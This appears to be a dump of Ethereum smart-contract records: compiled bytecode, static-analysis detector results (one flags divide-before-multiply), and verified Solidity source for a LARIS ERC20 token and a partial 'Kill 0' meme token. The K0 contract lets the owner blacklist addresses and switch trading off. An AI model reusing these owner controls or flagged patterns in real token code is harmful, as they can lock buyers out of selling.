ffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bbb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610bc5575081155b15610c215780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c199190611452565b925050819055505b84600c600181548110610c3757610c36611616565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610cce5750600084145b15610d2a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d229190611645565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d799190611645565b925050819055506000600154606486610d9291906116ca565b610d9c91906116fb565b90508085610daa9190611452565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dfb9190611452565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e519190611645565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ea79190611452565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610efd9190611645565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611013578082015181840152602081019050610ff8565b83811115611022576000848401525b50505050565b6000601f19601f8301169050919050565b600061104482610fd9565b61104e8185610fe4565b935061105e818560208601610ff5565b61106781611028565b840191505092915050565b6000602082019050818103600083015261108c8184611039565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110c482611099565b9050919050565b6110d4816110b9565b81146110df57600080fd5b50565b6000813590506110f1816110cb565b92915050565b6000819050919050565b61110a816110f7565b811461111557600080fd5b50565b60008135905061112781611101565b92915050565b6000806040838503121561114457611143611094565b5b6000611152858286016110e2565b925050602061116385828601611118565b9150509250929050565b60008115159050919050565b6111828161116d565b82525050565b600060208201905061119d6000830184611179565b92915050565b6111ac816110f7565b82525050565b60006020820190506111c760008301846111a3565b92915050565b6000806000606084860312156111e6576111e5611094565b5b60006111f4868287016110e2565b9350506020611205868287016110e2565b925050604061121686828701611118565b9150509250925092565b611229816110b9565b82525050565b60006020820190506112446000830184611220565b92915050565b6000602082840312156112605761125f611094565b5b600061126e848285016110e2565b91505092915050565b6000806040838503121561128e5761128d611094565b5b600061129c858286016110e2565b92505060206112ad858286016110e2565b9150509250929050565b6000819050919050565b60006112dc6112d76112d284611099565b6112b7565b611099565b9050919050565b60006112ee826112c1565b9050919050565b6000611300826112e3565b9050919050565b611310816112f5565b82525050565b600060208201905061132b6000830184611307565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061137857607f821691505b60208210810361138b5761138a611331565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006113ed602983610fe4565b91506113f882611391565b604082019050919050565b6000602082019050818103600083015261141c816113e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061145d826110f7565b9150611468836110f7565b92508282101561147b5761147a611423565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114bc602083610fe4565b91506114c782611486565b602082019050919050565b600060208201905081810360008301526114eb816114af565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061154e602683610fe4565b9150611559826114f2565b604082019050919050565b6000602082019050818103600083015261157d81611541565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006115e0602483610fe4565b91506115eb82611584565b604082019050919050565b6000602082019050818103600083015261160f816115d3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611650826110f7565b915061165b836110f7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116905761168f611423565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116d5826110f7565b91506116e0836110f7565b9250826116f0576116ef61169b565b5b828204905092915050565b6000611706826110f7565b9150611711836110f7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561174a57611749611423565b5b82820290509291505056fea26469706673582212200ea163dbda7acd4e94ed3f138335eed6863097a6b98f9c017138d9de40ffd9eb64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
10,421
0x4bd0bd276446a534b805aaeadce876aca768efb4
/** *Submitted for verification at Etherscan.io on 2021-06-18 */ /** *Submitted for verification at Etherscan.io on 2018-11-05 */ pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract LARISToken is BurnableToken, Ownable { string public constant name = "LARISToken"; string public constant symbol = "LARIS"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 900000000 * (10 ** uint256(decimals)); // Constructors constructor () public { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner emit Transfer(0x0,msg.sender,initialSupply); } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce56714610285578063378dc3dc146102b057806342966c68146102db578063661884631461030857806370a082311461036d5780638da5cb5b146103c457806395d89b411461041b578063a9059cbb146104ab578063d73dd62314610510578063dd62ed3e14610575578063f2fde38b146105ec575b600080fd5b3480156100ec57600080fd5b506100f561062f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610668565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61075a565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610760565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610a4c565b6040518082815260200191505060405180910390f35b3480156102bc57600080fd5b506102c5610a51565b6040518082815260200191505060405180910390f35b3480156102e757600080fd5b5061030660048036038101908080359060200190929190505050610a5f565b005b34801561031457600080fd5b50610353600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c28565b604051808215151515815260200191505060405180910390f35b34801561037957600080fd5b506103ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb9565b6040518082815260200191505060405180910390f35b3480156103d057600080fd5b506103d9610f02565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042757600080fd5b50610430610f28565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610470578082015181840152602081019050610455565b50505050905090810190601f16801561049d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104b757600080fd5b506104f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f61565b604051808215151515815260200191505060405180910390f35b34801561051c57600080fd5b5061055b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611137565b604051808215151515815260200191505060405180910390f35b34801561058157600080fd5b506105d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611333565b6040518082815260200191505060405180910390f35b3480156105f857600080fd5b5061062d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113ba565b005b6040805190810160405280600a81526020017f4c41524953546f6b656e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561079f57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061087083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151290919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095b838261151290919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6335a4e9000281565b60008082111515610a6f57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610abd57600080fd5b339050610b1282600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151290919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6a8260005461151290919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d39576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcd565b610d4c838261151290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f4c4152495300000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f9e57600080fd5b610ff082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061108582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006111c882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561145257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561152057fe5b818303905092915050565b600080828401905083811015151561153f57fe5b80915050929150505600a165627a7a72305820ebb03c82bb2639c170a4aec50572110c475cdf72dd2d5fa30812197e12ec60c80029
{"success": true, "error": null, "results": {}}
10,422
0xb58eb6af85488b8175b1af4def26445ad8d996c7
// SPDX-License-Identifier: Unlicensed /** Born to kill 0, we only pursue multiples, we don't care about anything else, the only goal, kill all 0, let's get to 1 UDSC! We are Meme coins, and the essence of Meme culture is to be small. This is our original intention. We are fed up with the gimmicks. Simple, exquisite, dream, freedom, self, great! Supply: 1,000,000,000,000 (100%) Burn: 700,000,000,000 (70%) Liquidity: 3 ETH Max buy: 0.5% Max wallet: 1% **/ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KILL is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Kill 0"; string private constant _symbol = "K0"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 1; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 1; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xB393b4938E2f03f1A386ADF06741FEcEE1fd8e94); address payable private _marketingAddress = payable(0xB393b4938E2f03f1A386ADF06741FEcEE1fd8e94); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000000 * 10**9; uint256 public _maxWalletSize = 10000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || 